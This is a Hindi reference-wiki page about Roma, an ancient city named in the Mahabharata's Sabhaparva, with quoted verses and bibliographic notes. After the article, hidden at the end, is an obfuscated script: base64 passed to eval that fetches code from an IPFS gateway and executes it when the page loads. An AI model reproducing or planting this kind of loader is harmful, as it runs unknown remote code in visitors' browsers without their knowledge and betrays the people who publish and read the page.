रोमा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

रोमा नाम के एक प्राचीन नगर का उल्लेख हिन्दू धार्मिक ग्रन्थ महाभारत, सभापर्व में हुआ है-

'अताखीं चैव रोमां च यवनानां पुरं तथा, दूतैरेव वशेचक्रे करं चैनानदापयत्।'[1]

  • पाण्डव सहदेव ने रोम, अंतियोकस तथा यवनपुर[2] नगरों को अपनी दिग्विजया यात्रा के प्रसंग में जीतकर इन पर कर लगाया था।[3]
  • रोम अवश्य ही 'रोमा' का रूपान्तरण है।
  • रोम-निवासियों का वर्णन महाभारत, सभापर्व[4] में, युधिष्ठिर के राजसूय यज्ञ में उपहार लेकर आने वाले विदेशियों के साथ भी किया गया है-

'द्वयक्षांत्र्यक्षांललाटक्षान् नानादिग्भ्य: समागतान् औष्णीकानन्त वासांश्च रोमकान् पुरुषादकान्।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. महाभारत, सभापर्व 31-72
  2. मिस्र देश में स्थित एलेग्जेड्रिया
  3. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 803 |
  4. सभापर्व 51-17

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>